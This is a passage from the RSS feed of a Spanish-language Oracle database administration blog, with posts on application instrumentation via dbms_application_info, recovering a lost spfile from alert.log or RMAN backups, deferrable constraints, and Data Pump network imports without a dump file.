&lt;div&gt;Ahora la labor de hallar el origen de una sentencia SQL se simplifica pues podemos identificar rápidamente el módulo y la acción de la cual proviene, de otra forma tendriamos que enviar la sentencia SQL al equipo de desarrollo para que ellos a su vez identifiquen la aplicación de la cual proviene, labor cuyo grado de dificultad  depende del nivel de control que se tenga sobre el código fuente.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Si todas nuestras aplicaciones están debidamente instrumentadas, en todo momento podemos saber cómo los diversos módulos y acciones consumen los recursos, para ellos nos valemos adicionalmente de &lt;b&gt;&lt;i&gt;v$active_session_history&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl &amp;gt; SELECT b.name service, NVL(module,'Sin Nombre') module,
  2  ROUND(100*(COUNT(*)/sum(COUNT(*)) OVER()), 1) pct
  3  FROM v$active_session_history a, v$services b
  4  WHERE a.service_hash = b.name_hash
  5  AND session_type &amp;lt;&amp;gt; 'BACKGROUND'
  6  AND sample_time &amp;gt; systimestamp - 1/288 --ultimos 5 minutos
  7  GROUP BY b.name, module
  8* ORDER BY pct desc;
SERVICE          MODULE               PCT
---------------- ------------------ ------
SYS$USERS        Facturacion           53
SYS$USERS        Almacenes           44.1
orcl.oracle.com  OEM.DefaultPool      1.9
orcl.oracle.com  OEM.Loader            .6
orcl.oracle.com  Sin Nombre            .4&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Observamos el detalle a nivel de &lt;i&gt;module&lt;/i&gt; pero también es posible obtenerlo a nivel de &lt;i&gt;action&lt;/i&gt;.&lt;/div&gt;&lt;pre class="codigo"&gt;SYS@orcl &amp;gt; SELECT b.name service, NVL(module,'Sin Nombre') module,
  2  NVL(action,'Sin Nombre') action,
  3  ROUND(100*(COUNT(*)/sum(COUNT(*)) OVER()), 1) pct
  4  FROM v$active_session_history a, v$services b
  5  WHERE a.service_hash = b.name_hash
  6  AND session_type &amp;lt;&amp;gt; 'BACKGROUND'
  7  AND sample_time &amp;gt; systimestamp - 1/288
  8  GROUP BY b.name, module, action
  9* ORDER BY pct desc;
SERVICE          MODULE           ACTION                       PCT
---------------- ---------------- -------------------------- -----
SYS$USERS        Facturacion      Calculo.Impuestos             53
SYS$USERS        Almacenes        Consulta.Inventario         44.1
orcl.oracle.com  OEM.DefaultPool  /database/instance/sitemap   1.2
orcl.oracle.com  OEM.DefaultPool  /logon                        .7
orcl.oracle.com  OEM.Loader       XMLLoader0                    .6
orcl.oracle.com  Sin Nombre       Sin Nombre                    .4&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Esta información también la podemos encontrar en Enterprise Manager, pero esta vez mostrada en forma gráfica (&lt;i&gt;Performance &gt; Top Consumers&lt;/i&gt;).&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/Smz4vZDy1RI/AAAAAAAAAhs/EnmIrghEgRk/s1600-h/Top.Consumers.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/Smz4vZDy1RI/AAAAAAAAAhs/EnmIrghEgRk/s400/Top.Consumers.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Hasta aquí llegaremos por el momento, pero ya hemos hecho un gran avance. Usando &lt;b&gt;&lt;i&gt;dbms_application_info&lt;/i&gt;&lt;/b&gt; se simplifica la identificación de la aplicación a la cual pertenecen las sentencias SQL, también se posibilita saber el avance de los procesos de larga duración, de una forma muy precisa. Pero ésta no es toda la utilidad, en un próximo Post veremos beneficios adicionales de la instrumentación de las aplicaciones, estén atentos.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Posts Relacionados:&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/12/dbms-monitor-session-trace-trcsess.html"&gt;Nuevas formas de rastrear el código&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-581196222085260859?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/chuNDSqq-rk" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:24:59.640-05:00</atom:updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_13OOTtHDdJc/Smz4vZDy1RI/AAAAAAAAAhs/EnmIrghEgRk/s72-c/Top.Consumers.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://blog.e-dba.biz/2008/11/dbms-application-info-instrumentacion.html</feedburner:origLink></item><item><title>¿Cómo recuperar un spfile perdido?</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/DFxCsjswcIo/recuperar-spfile-perdido-restore.html</link><category>rman</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Sat, 15 Nov 2008 22:13:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-6087623646040276430</guid><description>&lt;div&gt;El &lt;i&gt;server parameter file&lt;/i&gt; o &lt;b&gt;&lt;i&gt;spfile&lt;/i&gt;&lt;/b&gt;, es un archivo binario que contiene los parámetros de inicialización. Este archivo existe en el servidor de base de datos y ha venido a reemplazar al otrora &lt;i&gt;parameter file&lt;/i&gt; o &lt;b&gt;&lt;i&gt;pfile&lt;/i&gt;&lt;/b&gt;. Antes de la aparición del &lt;i&gt;spfile&lt;/i&gt;, todo cambio a los parámetros debíamos hacerlos permanentes mediante la edición del archivo &lt;i&gt;pfile&lt;/i&gt;. Si olvidábamos hacerlo, con el siguiente inicio de la base de datos los cambios eran descartados. Con la aparición del &lt;i&gt;spfile&lt;/i&gt; ya no es necesario preocuparse por esto, los cambios se registran automáticamente, sin necesidad de ediciones. El archivo &lt;i&gt;spfile&lt;/i&gt; es leído al momento de iniciar la instancia, por lo que su ausencia lo impide, afortunadamente es bastante fácil superar su pérdida, veremos a continuación un par de formas de recuperarlo.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;br /&gt;
&lt;span style="color: RGB(23,54,93); font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;a) Usando el Alert.log&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Cada vez que hacemos un cambio a un parámetro de inicialización, aparte de grabarse en el &lt;i&gt;spfile&lt;/i&gt;, también se deja una constancia en el &lt;i&gt;alert.log&lt;/i&gt;. Al iniciar la base de datos, en el &lt;i&gt;alert.log&lt;/i&gt; se registra la relación de parámetros de inicialización con valores modificados. Luego, nuestra primera fuente para reconstruir un &lt;i&gt;spfile&lt;/i&gt; perdido es desde luego el &lt;i&gt;alert.log&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;&lt;b&gt;alertorcl.log:&lt;/b&gt;
. . .
Starting up ORACLE RDBMS Version: 10.2.0.4.0.
System parameters with non-default values:
&lt;i&gt;  processes                = 150
  __shared_pool_size       = 125829120
  __large_pool_size        = 4194304
  __java_pool_size         = 4194304
  __streams_pool_size      = 8388608
  nls_territory            = AMERICA
  filesystemio_options     = SETALL
  sga_target               = 205520896
  control_files            = /u02/oradata/orcl/control01.ctl
  db_block_size            = 8192
  __db_cache_size          = 58720256
  compatible               = 10.2.0.4.0
  log_archive_format       = %t_%s_%r.dbf
  db_create_file_dest      = /u02/oradata
  db_recovery_file_dest    = /u01/app/oracle/flash_recovery_area
  db_recovery_file_dest_size= 4294967296
  undo_management          = AUTO
  undo_tablespace          = UNDOTBS1
  remote_login_passwordfile= EXCLUSIVE
  audit_sys_operations     = FALSE
  db_domain                = oracle.com
  job_queue_processes      = 10
  background_dump_dest     = /u01/app/oracle/admin/orcl/bdump
  user_dump_dest           = /u01/app/oracle/admin/orcl/udump
  core_dump_dest           = /u01/app/oracle/admin/orcl/cdump
  audit_file_dest          = /u01/app/oracle/admin/orcl/adump
  audit_trail              = XML, EXTENDED
  db_name                  = orcl
  open_cursors             = 300
  pga_aggregate_target     = 67108864&lt;/i&gt;
PMON started with pid=2, OS id=5963
. . .&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Procedemos a extraer la relación de parámetros y los copiamos en un archivo, mismo que puede estar ubicado en cualquier directorio y tener cualquier nombre o extensión, pero que para este ejemplo llamaremos initorcl.ora. Una vez creado podemos construir un &lt;i&gt;spfile&lt;/i&gt; tomándolo como insumo.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; create spfile from pfile='/home/oracle/initorcl.ora';

File created.
SYS@orcl&gt; startup;
ORACLE instance started.

Total System Global Area  205520896 bytes
Fixed Size                  1266608 bytes
Variable Size             142609488 bytes
Database Buffers           58720256 bytes
Redo Buffers                2924544 bytes
Database mounted.
Database opened.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Acá estamos asumiendo que la base de datos estaba abajo, pero si aún está operativa entonces tendremos que hacerlo con un paso extra.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; create spfile from pfile='/home/oracle/initorcl.ora';
create spfile from pfile='/home/oracle/initorcl.ora'
*
ERROR at line 1:
ORA-32002: cannot create SPFILE already being used by the instance

SYS@orcl&amp;gt; create spfile='?/dbs/spfileorcl.bak' from pfile='/home/oracle/initorcl.ora';

File created.

$ mv $ORACLE_HOME/dbs/spfileorcl.bak $ORACLE_HOME/dbs/spfileorcl.ora&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;El resultado final es un nuevo &lt;i&gt;spfile&lt;/i&gt; que incluye los cambios más recientes.&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: RGB(23,54,93); font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;b) Usando backups obtenidos con RMAN&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Si por alguna razón no podemos hacer uso del &lt;i&gt;alert.log&lt;/i&gt;, nuestra siguiente alternativa es recurrir a los backups obtenidos con &lt;i&gt;RMAN&lt;/i&gt;. Cada vez que obtenemos un backup que, de forma directa o indirecta, involucre al tablespace &lt;i&gt;System&lt;/i&gt;, tanto el &lt;i&gt;controlfile&lt;/i&gt; como el &lt;i&gt;spfile&lt;/i&gt; son automáticamente respaldados. Esto también ocurre si hemos configurado &lt;i&gt;RMAN&lt;/i&gt; con &lt;i&gt;"controlfile autobackup on"&lt;/i&gt;, en este caso no importa si el backup incluye o no al tablespace &lt;i&gt;System&lt;/i&gt;. Asumiendo que la base de datos está operativa, el procedimiento a seguir para restaurar el &lt;i&gt;spfile&lt;/i&gt; es:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; restore spfile to '?/dbs/spfileora.bak' from autobackup;

Starting restore at 05/11/2008 17:42:25
allocated channel: ORA_DISK_1
channel ORA_DISK_1: sid=143 devtype=DISK

recovery area destination: /u01/app/oracle/flash_recovery_area
database name (or database unique name) used for search: ORCL
channel ORA_DISK_1: autobackup found in the recovery area
channel ORA_DISK_1: autobackup found: /u01/app/oracle/flash_recovery_area/ORCL/autobackup/2008_11_05/o1_mf_s_670006939_4k45zd4k_.bkp
channel ORA_DISK_1: SPFILE restore from autobackup complete
Finished restore at 05/11/2008 17:42:29

$ mv $ORACLE_HOME/dbs/spfileorcl.bak $ORACLE_HOME/dbs/spfileorcl.ora&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Si la base de datos está abajo, el procedimiento es algo distinto.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; startup nomount;

startup failed: ORA-01078: failure in processing system parameters
LRM-00109: could not open parameter file '/u01/app/oracle/product/10.2.0/db_1/dbs/initorcl.ora'

starting Oracle instance without parameter file for retrival of spfile
Oracle instance started

Total System Global Area     159383552 bytes

Fixed Size                     1266344 bytes
Variable Size                 54529368 bytes
Database Buffers             100663296 bytes
Redo Buffers                   2924544 bytes

RMAN&amp;gt; restore spfile  from autobackup
2&gt; recovery area '/u01/app/oracle/flash_recovery_area'
3&gt; db_name 'ORCL';

Starting restore at 05/11/2008 17:49:50
using channel ORA_DISK_1

recovery area destination: /u01/app/oracle/flash_recovery_area
database name (or database unique name) used for search: ORCL
channel ORA_DISK_1: autobackup found in the recovery area
channel ORA_DISK_1: autobackup found: /u01/app/oracle/flash_recovery_area/ORCL/autobackup/2008_11_05/o1_mf_s_670006939_4k45zd4k_.bkp
channel ORA_DISK_1: SPFILE restore from autobackup complete
Finished restore at 05/11/2008 17:49:53&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Observamos que &lt;i&gt;RMAN&lt;/i&gt; es capaz de iniciar la instancia, aún cuando no existe el &lt;i&gt;spfile&lt;/i&gt;, justamente porque asume que queremos restaurarlo de algún backup. Para lograr restaurar el &lt;i&gt;spfile&lt;/i&gt;, debemos indicar la ubicación del &lt;i&gt;Recovery Area&lt;/i&gt;, así como el nombre de la base de datos, con esos datos &lt;i&gt;RMAN&lt;/i&gt; busca el backup más reciente.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;En conclusión, el archivo &lt;i&gt;spfile&lt;/i&gt; es requerido para iniciar la instancia, si lo hemos perdido podemos recurrir al &lt;i&gt;alert.log&lt;/i&gt; o a los backups. En caso de que no podamos lograrlo, siempre queda como última alternativa el crear un &lt;i&gt;pfile&lt;/i&gt; con el mínimo de parámetros y a partir de él un &lt;i&gt;spfile&lt;/i&gt;, pero es una situación en la que difícilmente deberíamos caer si hemos sido suficientemente cuidadosos y precavidos.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Puedes complementar lo acá detallado, leyendo el Note &lt;b&gt;372996.1&lt;/b&gt; &lt;i&gt;Using RMAN to Restore and Recover a Database When the Repository and Spfile/Init.ora Files Are Also Lost&lt;/i&gt;.&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-6087623646040276430?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/DFxCsjswcIo" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-03-25T21:19:43.247-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.e-dba.biz/2008/11/recuperar-spfile-perdido-restore.html</feedburner:origLink></item><item><title>Postergando la validación de los constraints.</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/bygwnEJOY_w/deferrable-constraint-deferred.html</link><category>Constraints</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Thu, 13 Nov 2008 19:09:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-181497175314686642</guid><description>&lt;div&gt;Usamos Oracle para tener nuestra información segura y accesible, pero si ésta no es consistente pierde su valor. Por esta razón normalmente implementamos un mínimo de reglas que deben cumplir nuestros datos, esto mediante el uso de &lt;b&gt;&lt;i&gt;constraints&lt;/i&gt;&lt;/b&gt;. A saber son: &lt;i&gt;not null&lt;/i&gt;, &lt;i&gt;unique&lt;/i&gt;, &lt;i&gt;primary key&lt;/i&gt;, &lt;i&gt;foreign key&lt;/i&gt; y &lt;i&gt;check&lt;/i&gt;; por defecto estas restricciones se validan en cuanto tratamos de modificar la información, lo cual en ocasiones nos puede limitar y obligarnos a tomar caminos alternativos, que pueden pasar incluso por deshabilitar los &lt;i&gt;constraints&lt;/i&gt; de forma temporal. Esto introduce la posibilidad de generar información inconsistente, afortunadamente existe una forma de postergar estas validaciones, sin sacrificar la integridad de la información, y que aún sigue siendo poco conocida.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;div&gt;Para lograrlo nuestro objetivo de violar temporalmente las reglas impuestas por los &lt;i&gt;constraints&lt;/i&gt;, debemos crearlos de una forma especial, conocida como &lt;b&gt;&lt;i&gt;deferrable constraints&lt;/i&gt;&lt;/b&gt;. Veamos la diferencia con el siguiente ejemplo, en el cual se crea un &lt;i&gt;foreign key constraint&lt;/i&gt; con validación inmediata y luego con la modalidad postergada.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;transaccion.sql
BEGIN
  INSERT INTO emp (
     empno, ename, job, mgr, hiredate, sal, comm, deptno )
  VALUES (
     8000, 'BROWN', 'MANAGER', NULL,
     TO_DATE('15-JAN-1982', 'DD-MON-YYYY'), 3300, NULL, 50);
  INSERT INTO dept ( deptno, dname, loc )
  VALUES ( 50, 'MARKETING', 'MIAMI');
  COMMIT;
END;
/

SCOTT@orcl &amp;gt; ALTER TABLE emp ADD CONSTRAINT emp_fk_dept
  2  FOREIGN KEY(deptno) REFERENCES dept;

Table altered.

SCOTT@orcl &amp;gt; @transaccion
BEGIN
*
ERROR at line 1:
ORA-02291: integrity constraint (SCOTT.EMP_FK_DEPT) violated - parent key not found
ORA-06512: at line 2&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Aún cuando el resultado final del bloque BEGIN/END es información consistente, la inmediatez de la validación impide ingresar una fila en la table &lt;i&gt;emp&lt;/i&gt; referenciando a un &lt;i&gt;deptno&lt;/i&gt; aún no existente en la tabla &lt;i&gt;dept&lt;/i&gt;. Redefinamos entonces el &lt;i&gt;constraint&lt;/i&gt; para que sea postergable.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl &amp;gt; ALTER TABLE emp ADD CONSTRAINT emp_fk_dept
  2  FOREIGN KEY(deptno) REFERENCES dept
  3  &lt;span style="color: red;"&gt;DEFERRABLE INITIALLY DEFERRED&lt;/span&gt;;

Table altered.

SCOTT@orcl &amp;gt; @transaccion
PL/SQL procedure successfully completed.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ahora sí se permite concluir la transacción, la validación se ha postergado al momento de hacer el &lt;i&gt;commit&lt;/i&gt;, si en ese momento aún subsistiese alguna inconsistencia entonces recién se aborta la transacción.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl &amp;gt; DELETE dept WHERE deptno = 50;

1 row deleted.

SCOTT@orcl &amp;gt; commit;
commit
*
ERROR at line 1:
ORA-02091: transaction rolled back
ORA-02292: integrity constraint (SCOTT.EMP_FK_DEPT) violated - child record found&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Si bien permitir que la validación se postergue al momento de concluir la transacción resulta útil, por una cuestión de orden resulta más conveniente que ésta no sea la conducta por defecto, sino más bien la excepción, para ello debemos crear el &lt;i&gt;constraint&lt;/i&gt; de otra forma.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl &amp;gt; ALTER TABLE emp ADD CONSTRAINT emp_fk_dept
  2  FOREIGN KEY(deptno) REFERENCES dept
  3  DEFERRABLE &lt;span style="color: red;"&gt;INITIALLY IMMEDIATE&lt;/span&gt;;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Como su nombre lo sugiere, &lt;i&gt;IMMEDIATE&lt;/i&gt; conlleva a la validación del constraint en forma simultánea con la modificación de los datos, pero al ser el &lt;i&gt;constraint&lt;/i&gt; &lt;i&gt;DEFERRABLE&lt;/i&gt;, se permite postergar la validación para casos especiales, que se habilitan con una sintaxis adicional. Veámoslo con el ejemplo.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl &amp;gt; @transaccion
BEGIN
*
ERROR at line 1:
ORA-02291: integrity constraint (SCOTT.EMP_FK_DEPT) violated - parent key not found
ORA-06512: at line 2

SCOTT@orcl &amp;gt; &lt;span style="color: red;"&gt;set constraint emp_fk_dept deferred&lt;/span&gt;;

Constraint set.

SCOTT@orcl &amp;gt; @transaccion

PL/SQL procedure successfully completed.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Con la inclusión de &lt;i&gt;&lt;b&gt;set constraint .. deferred&lt;/b&gt;&lt;/i&gt;, habilitamos temporalmente, y sólo para las transacciones al interior de la sesión vigente, la postergación del &lt;i&gt;constraint "emp_fk_dept"&lt;/i&gt;. Podemos consignar toda una lista de &lt;i&gt;constraints&lt;/i&gt; a postergar temporalmente o en su defecto indicar que lo sean todos los que puedan tratar de validarse en las futuras transacciones (siempre que hayan sido creadas como &lt;i&gt;deferrable&lt;/i&gt;).&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;set constraint &lt;i&gt;constraint_1, constraint_2, ..., constraint_n&lt;/i&gt; deferred;

set constraint &lt;i&gt;all&lt;/i&gt; deferred;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Tenemos entonces en los &lt;i&gt;deferrable constraints&lt;/i&gt;, una forma soportada de violar temporalmente las reglas que normalmente son validadas de inmediato, postergándolas hasta el momento en que concluímos la transacción (&lt;i&gt;commit&lt;/i&gt;). Todo &lt;i&gt;constraint&lt;/i&gt; puede ser postergado, pero en el caso particular del &lt;i&gt;primary key&lt;/i&gt; y del &lt;i&gt;unique&lt;/i&gt;, los índices que sirven para validar el cumplimiento de estos constraints son creados como índices &lt;b&gt;no únicos&lt;/b&gt;, cuando normalmente son únicos. Esto implica que ocuparán algo más de espacio y su mantenimiento requerirá de algo más de CPU, pero usualmente en tan pequeña magnitud que puede ser despreciado si lo comparamos con los eventuales beneficios.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Puedes leer más del tema en el manual &lt;a href="http://download.oracle.com/docs/cd/B19306_01/server.102/b14220/data_int.htm#i4665"&gt;Database Concepts&lt;/a&gt; y en el Note &lt;b&gt;73647.1&lt;/b&gt; &lt;i&gt;Deferred Constraints Example&lt;/i&gt;, también les recomiendo leer &lt;a href="http://richardfoote.wordpress.com/2007/12/14/constraints-dont-make-them-deferrable-or-novalidate-unless-you-need-to/"&gt;este Post&lt;/a&gt; por Richard Foote, en el que expone algunas razones por las que puede resultar inconveniente crear algunos tipos de &lt;i&gt;constraints&lt;/i&gt; como postergables.&lt;/div&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-181497175314686642?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/bygwnEJOY_w" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2008-11-13T22:21:16.398-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://blog.e-dba.biz/2008/11/deferrable-constraint-deferred.html</feedburner:origLink></item><item><title>¿Cómo importar datos sin un dump de por medio?</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/FGMnC_Gajxk/datapumpimpdpimportnodump.html</link><category>datapump</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Tue, 11 Nov 2008 15:29:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-2874404875600389085</guid><description>&lt;div&gt;Todos hemos usado alguna vez los utilitarios &lt;i&gt;export&lt;/i&gt; e &lt;i&gt;import&lt;/i&gt;, pero con la aparición de Oracle10g vino como novedad &lt;b&gt;&lt;i&gt;Data Pump&lt;/i&gt;&lt;/b&gt;. Aún muchos no se han animado a usarlo, pero eventualmente tendrán que hacerlo ya que Oracle ha anunciado que en futuras versiones sólo se proporcionará &lt;i&gt;import&lt;/i&gt;. Pues bien, la verdad es que si investigamos un poco y empezamos a usarlo, notaremos que mucho de los problemas por lo que pasamos al tratar de hacer algunas cosas medio rebuscadas con &lt;i&gt;export&lt;/i&gt; e &lt;i&gt;import&lt;/i&gt;, ahora son posibles con &lt;i&gt;Data Pump&lt;/i&gt; y se los iré mostrando poco a poco, pero para empezar veamos cómo ahora es posible exportar los datos de un base de datos e importarlos en otra remota sin necesidad de crear un dump, e incluso crear allí el usuario destino si es que éste aún no existe, a ver ¡traten de hacer eso con &lt;i&gt;export&lt;/i&gt; e &lt;i&gt;import&lt;/i&gt;!&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;div&gt;Para hacer esta demostración contaremos con una base de datos &lt;b&gt;10.2&lt;/b&gt; bajo &lt;i&gt;Solaris&lt;/i&gt; 10 como origen, y otra base de datos &lt;b&gt;11.1&lt;/b&gt; bajo &lt;i&gt;RHEL&lt;/i&gt; 4.7 como destino. Debemos empezar por crear un &lt;i&gt;database link&lt;/i&gt; en la base de datos destino que nos permita comunicarnos con la base de datos origen&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYSTEM@orcl &amp;gt; create database link solaris
  2  connect to system identified by oracle
  3  using 'solaris';

Database link created.

SYSTEM@orcl &gt; select banner from v$version@solaris;

BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.2.0.2.0 - Prod
PL/SQL Release 10.2.0.2.0 - Production
CORE    10.2.0.2.0      Production
TNS for Solaris: Version 10.2.0.2.0 - Production
NLSRTL Version 10.2.0.2.0 - Production&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ya tenemos el &lt;i&gt;database link&lt;/i&gt; operativo, procedamos a deshacernos del usuario scott que usualmente se instala como parte de los ejemplos.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYSTEM@orcl &amp;gt; drop user scott cascade;

User dropped.
&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Hagamos la importación de los datos.&lt;/div&gt;&lt;pre class="codigo"&gt;[oracle@linux ~]$ impdp system/oracle nologfile=y &lt;span style="color: red;"&gt;network_link=solaris&lt;/span&gt; schemas=scott

Import: Release 11.1.0.6.0 - Production on Tuesday, 11 November, 2008 9:58:03

Copyright (c) 2003, 2007, Oracle.  All rights reserved.

Connected to: Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
Starting "SYSTEM"."SYS_IMPORT_SCHEMA_01":  system/******** nologfile=y network_link=solaris schemas=scott
Estimate in progress using BLOCKS method...
Processing object type SCHEMA_EXPORT/TABLE/TABLE_DATA
Total estimation using BLOCKS method: 192 KB
Processing object type SCHEMA_EXPORT/USER
Processing object type SCHEMA_EXPORT/SYSTEM_GRANT
Processing object type SCHEMA_EXPORT/ROLE_GRANT
Processing object type SCHEMA_EXPORT/DEFAULT_ROLE
Processing object type SCHEMA_EXPORT/PRE_SCHEMA/PROCACT_SCHEMA
Processing object type SCHEMA_EXPORT/TABLE/TABLE
. . imported "SCOTT"."DEPT"                                   4 rows
. . imported "SCOTT"."EMP"                                   14 rows
. . imported "SCOTT"."SALGRADE"                               5 rows
. . imported "SCOTT"."BONUS"                                  0 rows
Processing object type SCHEMA_EXPORT/TABLE/INDEX/INDEX
Processing object type SCHEMA_EXPORT/TABLE/CONSTRAINT/CONSTRAINT
Processing object type SCHEMA_EXPORT/TABLE/INDEX/STATISTICS/INDEX_STATISTICS
Processing object type SCHEMA_EXPORT/TABLE/CONSTRAINT/REF_CONSTRAINT
Processing object type SCHEMA_EXPORT/TABLE/STATISTICS/TABLE_STATISTICS
Job "SYSTEM"."SYS_IMPORT_SCHEMA_01" successfully completed at 09:58:17&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;No hay mensajes de error, pero igual comprobaremos.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@linux ~]$ sqlplus scott/tiger

SQL*Plus: Release 11.1.0.6.0 - Production on Tue Nov 11 09:58:23 2008

Copyright (c) 1982, 2007, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SCOTT@orcl &amp;gt; select table_name, num_rows
  2  from user_tables;

TABLE_NAME                       NUM_ROWS
------------------------------ ----------
SALGRADE                                5
BONUS                                   0
EMP                                    14
DEPT                                    4&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Todo funcionó de acuerdo a lo esperado, hemos logrado sin mayor problema:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Usar un cliente de una versión superior (11g) para extraer datos de una versión inferior(10gR2), algo que con &lt;i&gt;exp&lt;/i&gt; usualmente nos daría algunos errores de compatibilidad.&lt;/li&gt;
